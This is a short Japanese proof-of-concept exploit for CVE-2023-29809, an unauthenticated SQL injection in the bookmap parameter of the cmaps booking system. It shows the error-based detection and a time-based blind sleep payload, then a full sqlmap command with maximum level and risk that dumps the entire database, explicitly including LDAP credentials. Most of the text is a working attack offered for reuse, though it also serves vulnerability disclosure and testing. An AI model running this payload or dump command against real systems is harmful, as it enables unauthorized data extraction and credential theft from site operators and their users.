
CVE-2023-29809の概念実証エクスプロイト:cmaps予約システムの認証されていないSQLインジェクション。時間ベースのブラインドインジェクションを実証し、データベース抽出用のsqlmapコマンドを提供します。
説明:
発見された脆弱性はSQLインジェクションです。bookmap パラメータが脆弱です。ページ http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test にアクセスすると、通常のJSONレスポンスが得られます。しかし、bookmap パラメータの値に一重引用符が追加されると、エラーメッセージが表示されます:
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
ここで、一重引用符を2つ追加すると、エラーなしで通常のレスポンスが得られます。これによりSQLインジェクションの可能性が確認されます。SQLインジェクションを実際に証明するために、以下のペイロードを追加します:
'-(select*from(select+sleep(2)+from+dual)a)--+
ページは2秒間スリープします。これによりSQLインジェクションが確認されます。
再現手順:
脆弱性をテストするために、以下のペイロードを送信します: '-(select*from(select+sleep(2)+from+dual)a)--+
サイトが2秒間スリープした場合は、以下のsqlmapコマンドを実行して、ldap認証情報を含むデータベース全体をダンプします。
python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
環境のセットアップとペイロードのデバッグに大いに協力してくれたiCaotixに特に感謝します。

応答時間に注目してください。
